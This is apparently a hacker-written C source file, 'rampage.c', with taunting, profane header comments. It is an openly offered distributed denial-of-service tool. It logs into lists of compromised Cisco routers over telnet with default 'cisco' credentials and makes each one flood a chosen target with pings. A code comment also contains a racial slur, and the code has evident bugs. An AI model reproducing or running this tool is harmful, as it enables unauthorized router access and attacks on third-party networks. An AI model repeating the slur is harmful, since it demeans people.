/* rampage.c by slinkai and cpio */
/* cpio says:
/* Shouts to: Gizmo, Khecka, Fire-Eyes, all of UPIN (http://www.phoneabuse.com), 
/* DALnet #hackers, #2600. Fuck you: hacktech.org, TRON (you no-skill whore),
/* and all others who talk shit.
/* This little project does exactly what all of you kiddies dream of:
/* A dDoS of "sorts" using Cisco routers obtained by password guessing, snmp
/* community string cracking, or the like.
/* We will not be responsible for any trouble you might get into by using this.
/* slinkai says:
/* routerlist loop was taken from smurf4.c
/*	last ip may connect twice, just as a side note.
/*	ignore the warnings.
/* We do not provide support for this program.
/* If you are dumb enough to use this like a toy you deserve to get in trouble.
/* Neither cpio nor I shall be responsible for your jail time. */

#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DEFAULTSIZE 64 // default size incase you dont wanna specify packets.
#define ROUTERPORT 23 // define your router port here
#define DEBUG // enable debugging
/* change "#undef" to #define" to use one router instead of a list. */
#undef SINGLE // single router mode (doesnt use a list, uses ip to hit with)
main(int argc, char **argv[]) {
	int sock[255],i=0,times,packet,size;
	char buffer[4096],buf[4096];
	struct sockaddr_in host;
	FILE *routerlist;
	printf("argc is %d\n",argc);
	if (argc<6) {
	        fprintf(stderr, "rampage.c by slinkai and cpio\n");
		fprintf(stderr, "usage: %s <ip> <router-list> <routers to use> <packets-to-use> (<size>)\n",argv[0]);
		exit(0);
	}
	sscanf(argv[5],"%d",&size);
	sscanf(argv[3],"%d",&times);
	sscanf(argv[4],"%d",&packet); //nigger your'e using the same format //eh? hold 
	printf("statistics display\n");
	printf("hitting %s with %d byte packets\n",argv[1],size);
	printf("hitting %s %d many times.\n",argv[1],times);
	host.sin_family = AF_INET;
	host.sin_addr.s_addr = inet_addr(argv[2]);
	host.sin_port = htons(ROUTERPORT);
	bzero(&(host.sin_zero),0);
	routerlist = fopen(argv[2],"r");
	while (i!=times) {
#ifdef SINGLE
		host.sin_addr.s_addr = inet_addr(argv[2]);
#else
		if (feof(routerlist)) { fprintf(stderr,"err: going to loop-mode, hit end of lines before times was done.\n"); goto end; }
		fgets(buf,32,routerlist);
		host.sin_addr.s_addr = inet_addr(buf);
#endif
		i++;
		sock[i] = socket(AF_INET,SOCK_STREAM,0);
#ifdef DEBUG
	fprintf(stdout,"status: connecting %d to %s\n",i,buf);
#endif
	if (connect(sock[i],(struct sockaddr *)&host, sizeof(struct sockaddr))) { fprintf(stderr, "sockerr: could not open sock at %d\n",i); exit(1); }
#ifdef DEBUG
	fprintf(stdout,"success: socket %d\n",i);
#endif
//disabling usleep temp
//		usleep(10000); // this should be 10million miliseconds (10 seconds)
		sprintf(buffer,"cisco\nenable\ncisco\nping\n\n%s\n%d\n%d\n0\nn\n\n",argv[1],packet,size);
		send(sock[i],buffer,strlen(buffer),0);
// %s should be the target addr, and %d should be how many packets your gonna send from that specific router
// since time is how many routers your gonna grab out of router-list
	}
end:
#ifdef DEBUG
	printf("entering infitinte loop mode, ctrl-c to cancel\n");
#endif
	while (1) { }
}

